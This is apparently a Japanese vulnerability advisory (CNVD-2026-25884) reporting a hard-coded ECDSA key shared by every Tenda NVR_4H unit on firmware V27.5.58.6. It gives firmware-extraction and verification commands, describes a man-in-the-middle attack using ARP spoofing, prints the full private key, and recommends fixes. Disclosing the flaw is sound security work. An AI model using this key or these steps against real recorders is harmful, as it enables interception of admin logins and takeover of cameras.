
Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6 にハードコードされた暗号鍵が含まれていることが判明しました。
CNVD ID: CNVD-2026-25884
ベンダー: Tenda Technology Co., Ltd.
製品: NVR_4H ネットワークビデオレコーダー (ハードウェアバージョン CH3V2.1)
ファームウェア: V27.5.58.6
クラス: CWE-321 — ハードコードされた暗号鍵の使用
NVR_4H ファームウェアは、読み取り専用の user-x.squashfs パーティション (/opt/app/ にマウント) に ECDSA 鍵ペアを保存しています。秘密鍵は /etc/privkey.pem に、対応する自己署名証明書は /etc/cacert.pem にあります。どちらもビルド時に一度だけ生成されイメージに焼き込まれているため、V27.5.58.6 を実行するすべてのデバイスが同じ秘密鍵を出荷しています。
ファームウェアイメージは Tenda のウェブサイトから無料でダウンロードできます。これを展開した者は誰でも、このバージョンのすべての NVR_4H の HTTPS インターフェースに対する有効な秘密鍵を手に入れることになります。同一ネットワーク上 (LAN、Wi-Fi、またはインターネットに公開されたデバイス) の攻撃者は、ARP スプーフィングや DNS ポイズニングによって管理者のブラウザと NVR の間にプロキシを挿入し、抽出した鍵を使って本物の Tenda 証明書を提示することができ、ブラウザは警告を一切表示しません。その後、セッション全体がリアルタイムで読み取りおよび改ざん可能になります。管理者ログイン、セッショントークン、カメラの RTSP 認証情報、デバイス設定などです。
| ファイル | 説明 |
|---|---|
/etc/privkey.pem | 302 バイトの EC 秘密鍵 (P-256) |
/etc/cacert.pem | 802 バイトの自己署名証明書、O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn |
ファームウェアコンテナはオフセット 0xBBB にある ZIP アーカイブです:
# 1. unpack the firmware
binwalk -e ted.bin
cd ted.bin.extracted/BBB
# 2. strip the 64-byte proprietary header
dd if=user-x.squash.img of=pure_system.squashfs bs=1 skip=64
# 3. unpack the filesystem
unsquashfs pure_system.squashfs
# 4. locate the key material
find squashfs-root -name "*.pem"
# squashfs-root/etc/cacert.pem
# squashfs-root/etc/privkey.pem
秘密鍵が出荷された証明書に属することを確認するには、両方から公開鍵をエクスポートして比較します:
openssl ec -in squashfs-root/etc/privkey.pem -pubout > pub_from_priv.pem
openssl x509 -in squashfs-root/etc/cacert.pem -pubkey -noout > pub_from_cert.pem
diff pub_from_priv.pem pub_from_cert.pem
# no output
sha256sum pub_from_priv.pem pub_from_cert.pem
# 80b6aa4b9e8f4cd30e857ff5b9bfcf7e0227e268f4d397efdaffe37d4b0e9bcc (both files)
この鍵はイメージから直接そのままでも機能します:
openssl s_server \
-key squashfs-root/etc/privkey.pem \
-cert squashfs-root/etc/cacert.pem \
-accept 4433 -www
# ACCEPT — TLS server starts with no errors
user-x.squashfs は圧縮された読み取り専用ファイルシステムであるため、その内容は出荷されるすべてのユニットでバイト単位で同一です。
イメージ内のどこにもデバイスごとのプロビジョニングは存在しません。init スクリプトも、openssl バイナリも、初回起動時の鍵生成もありません。ファイルシステム全体で鍵生成に関連する文字列は hostapd と wpa_supplicant に由来するものだけであり、これらは HTTPS サーバーとは無関係です。
squashfs 内の /etc/ にはわずか 4 つのファイルしかなく、そのうち 2 つがこの鍵素材です。どちらも実行時のものではなく squashfs のビルドタイムスタンプを持っています。
証明書は X.509 v1 の自己署名 (issuer = subject = C=CN, ST=ZJ, L=HZ, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn) で、有効期間は 1999-12-31 から 2049-12-18、SAN も鍵用途拡張もありません。シリアル 1c:f2:13:a0:7b:e2:7c:91:63:f3:e0:0c:be:0f:0d:42:2e:6b:e8:69 は固定されており、すべてのデバイスで同一です。
抽出された秘密鍵はそのまま使用可能です:
-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIHQLiI/KUzk/hXX4BZVuujlQMit341WWi3sTpLlGQVcaoAoGCCqGSM49
AwEHoUQDQgAEqFt550/3k/nGoYr4CFeRtvDf9HuZpHbb5FecKweJtFH7a5hBNFqq
qckxILVt8KefGENelZgPdEGNU6VcXyTORA==
-----END EC PRIVATE KEY-----
このファームウェアバージョン上のすべてのデバイスについて、HTTPS 管理インターフェース全体の機密性と完全性が、公開イメージをダウンロードした者に対して失われます。ターゲット側では特権もユーザー操作も不要であり、受動的な MITM で十分です。盗まれた管理者認証情報は、レコーダーとそのカメラの完全な制御を可能にします。
初回起動時にデバイスごとに一意の鍵ペアを生成し、書き込み可能なパーティション (例: /opt/sav/ 配下の JFFS2 領域) に保存し、privkey.pem と cacert.pem を読み取り専用イメージから完全に削除してください。長期的には、製造時に署名されたデバイスごとの証明書を発行してください。